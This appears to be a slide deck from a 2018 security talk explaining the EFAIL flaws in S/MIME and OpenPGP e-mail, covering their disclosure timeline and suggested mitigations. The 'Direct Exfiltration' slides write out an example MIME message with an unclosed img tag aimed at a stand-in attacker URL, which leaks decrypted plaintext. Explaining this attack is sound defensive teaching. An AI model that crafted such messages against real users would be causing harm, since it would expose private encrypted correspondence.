EFAIL or How Recent Events Can Blow up your plans for a talk :-(

by Aaron Grothe
ajgrothe@gmail.com

Introduction

Who are you???

I've been a security practitioner for a long time. Been on the Board of Directors for NEbraskaCERT for something like 10 years.

Am on the Board of Directors for NEbraskaCERT. One plug NEbraskaCERT is going to be starting our Security Professional Training class in a couple of weeks for more info please hit our website at http://www.nebraskacert.org/sp

Introduction (Cont'd)

What is the deal with the title of your talk?

Originally I was going to be doing a talk about a project I've been working on for a while called gpgschool. Gpgschool is a certification and automated system to make it easier for people to learn how to use gpg with e-mail.

Modeled after the Hurricane Electric ipv6 certification program.

Introduction (Cont'd)

Everything was going fine. Development is progressing on the project will hopefully be live sometime in the next couple of months.

Then E-FAIL happened.

Disclaimer

These are my personal views and are not meant to represent an endorsement of anything I'm going to say by my employer, my colleagues, my friends or my parrotlet.

If I begin to mumble or you can't hear me. Please let me know. I'm a disciple of Steve Nugen and that is one of the problems with being a disciple of Steve

If you have a question please feel free to speak up :-)

What is EFAIL?

- EFAIL is a set of security holes in e-mail systems.
  - Quite simply if I have an encrypted e-mail message from you or that was sent to you I can send the encrypted e-mail along with some additional code and get the decrypted version of the e-mail from you
  - This applies to both S/MIME and GPG/PGP Systems
  - Only this message will be decrypted, keys will not be disclosed

A Scenario

- Somebody wants to read an e-mail that you have encrypted. Assuming you are using a web-based e-mail system this is a potential scenario
  - Get a court order to get access to encrypted e-mails that they are interested in
  - Modify the e-mails and e-mail them to you
  - You open the e-mail and a decrypted version of that e-mail will be e-mailed to the person, also items like drafts might be created as well
  - Even though they have no access to your encryption keys they can get a decrypted version of the e-mail

What is EFAIL?

An example of a modern security issue:

Has a cool name: EFAIL

Has a website: https://efail.de

What is EFAIL?

An example of a modern security issue

Has a Cool Logo

What is EFAIL?

Has two CVEs associated with it

CVE-2017-17688: OpenPGP CFB gadget attacks
CVE-2017-17689: S/MIME CBC gadget attacks

An example Linux Security Alert for Thunderbird is available at Arch Linux Security Alert ASA-201805-21

https://security.archlinux.org/AVG-707

What is EFAIL?

Has a bunch of clickbaity articles on the topic:

Wired.UK - "We're calling it: PGP is dead" - http://www.wired.co.uk/article/efail-pgp-vulnerability-outlook-thunderbird-smime

Gizmodo - "Email no Longer a Secure Method of Communication After Critical Flaw Discovered in PGP" - https://news.google.com/articles/CAIiEHjY0WFqyq_rzjoBfvYFAjUqFQgEKg0IACoGCAowlIECMLBMMJ-mHg?hl=en-US&gl=US&ceid=US%3Aen

Two Major Examples - Example 1

Direct Exfiltration

Attacks vulnerabilities in the E-mail clients.

Three parts to the e-amil

1. HTML body part - contains html image tag with quotes but not closed
2. The cipher text
3. HTML body part that closes image tag from part 1

S/MIME Example (Part 1)

```
[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url
--BOUNDARY
Content-Type: application/pkcs7-mime;
  s-mime-typed-envelope-data
Content-Transfer-Encoding: base64
```

S/MIME Example (Part 2)

ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTED
MESSAGEENCRYPTEDMESSAGE
--BOUNDARY
Content-Type: text/html

">
--BOUNDARY
...

S/MIME Example (Client Side)

The e-mail client breaks it down the message reassembles it and sees the following

[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url
SECRETMESSAGESECRETMESSAGE">
--BOUNDARY
...

Two Major Examples - Example 2

Attacks vulnerabilities in OpenPGP and S/MIME

Have to guess plaintext and insert new gadgets into the stream that will allow you to insert new plaintext into the system.

This is easier to do in S/MIME versus OpenPGP since OpenPGP does compression before encryption. Still is in earlier phases.

Is a lot more complicated, but works on more systems.

Timeline

10/25/2017

EFAIL contacts the Thunderbird team - Bug #1411592 is filed (bug is still marked private)

11/03/2017

EFAIL contacts Google

11/25/2017

EFAIL contacts author of Enigmail (Thunderbird extension)

Timeline (Cont'd)

02/10/2018

Multiple vendors including Apple Mail are notified about ability to do exfiltration using MIME only instead of modifying cipher text

05/13/2018

E-mail is publicly announced by Electronic Frontier Foundation (EFF)

Timeline (Cont'd)

05/14/2018

Date my initial talk was scheduled for before Troy and I swapped sessions

05/15/2018

Original planned date for EFAIL release. EFF was criticized for releasing early.

More detailed timeline at http://flaked.sockpuppet.org/2018/05/16/a-unified-timeline.html

Disclosure Issues

If you look at the more detailed timeline there are a lot of issues about when to release information and what to release it.

One issue is there are a lot of GPG plugins for Gmail and other webmail that are no longer supported.

The EFAIL authors complied with disclosure rules as well as they could.

Scope of the Issue

For OpenPGP 10 of 28 Clients tested were at least partially vulnerable to EFAIL.

Some implementations were not vulnerable as they used different libraries to access the pgp libraries.

Some of the clients required user interaction. Others did everything automatically.

E.g. kmail was not vulnerable because it used the gpgme libraries. Enigmail, Thunderbird, GPGTools for Apple Mail and Gpg4Win for outlook are all vulnerable

Scope of the Issue (Cont'd)

Proposed suggestions to the issue are as follows

- Disable active content HTML/Javascript when viewing e-mails
- Turn off reloading of all external content including images
- Uninstall GPG e-mail plugins from your browser

Hoesing's Law: "I can turn off Javascript. But I know I'm going to turn it back on sooner or later."

How did it Happen?

Can largely be traced due to the age of OpenPGP, GNUGPG and PGP and the desire for backwards compatibility

If MDC (Modification Detection Codes) checks are turned on that will prevent the issue for the gadget issue.

MDC has issues with backwards compatibility so most e-mail clients will ignore the MDC. Most will accept a bogus MDC

GPG is Crucial

Terabytes of data are encrypted with GPG everyday. GPG is used to sign packages in most Linux distributions and other operating systems.

Journalists/Political Activists/Whistleblowers and many others use GPG to secure their communications. Snowden put together a video about how to gpg4win for Greenwald.

OpenPGP like OpenSSL are both underfunded. OpenSSL only had 2 part-time developers on it until a recent funding drive a couple of years.

GPG is Crucial (Cont'd)

The desire for backwards compatibility will have to be tempered by the need to move forward securely. Google PGP 2.6 backward compatibility for an overview. BTW PGP 2.6 is over 25 years old.

Use of GPG/PGP can be painful. PGP Author Phil Zimmerman recently admitted he quit using PGP for e-mail because of issues with Enigmail on Mac OS.

Additional scrutiny is being put onto GnuPG Software.

SigSpoof (Not Again)

CVE-2018-12020

Mainproc in GnuPG before 2.2.8 has an error in the way it handles filenames during decryption allowing newlines and other control chracters.

And it has a Logo

Summary

EFAIL is an interesting security issue

- It impacts a lot of systems - and more variants will be discovered
- Is based on an old security flaw that is exposed by newer technology
- The cycle of the issue: from certain death to patched issue is very interesting
- It smaller and simpler than a lot of other big flaws lately such as Spectre/Meltdown and Rowhammer

Q & A

Thanks for listening

Links

EFAIL homepage

https://efail.de/

EFAIL postmortem

https://medium.com/@cipherpunk/efail-a-postmortem-4bef2cea4c08

SigSpoof

https://nvd.nist.gov/vuln/detail/CVE-2018-12020

Links

Interview with Phil Zimmerman

https://www.computing.co.uk/ctg/interview/3034069/interview-cryptographer-phil-zimmermann-on-encrypted-email-and-defeating-us-export-controls

Link to the EFAIL paper

https://efail.de/efail-attack-paper.pdf

Links

Register Articles about E-fail

https://www.theregister.co.uk/2018/05/14/pgp_s_mime_flaws_allow_plaintext_email_access/

https://www.theregister.co.uk/2018/05/14/smime_pgp_encryption_flaw_emails_vulnerable_to_snooping/

https://www.theregister.co.uk/2018/05/25/pgp_is_not_broken_says_inventor/

Links

EFAIL - PostMortem

https://medium.com/@cipherpunk/efail-a-postmortem-4bef2cea4c08

Nice EFAIL description

https://www.ghacks.net/2018/05/14/openpgp-and-s-mime-vulnerability-efail-discovered/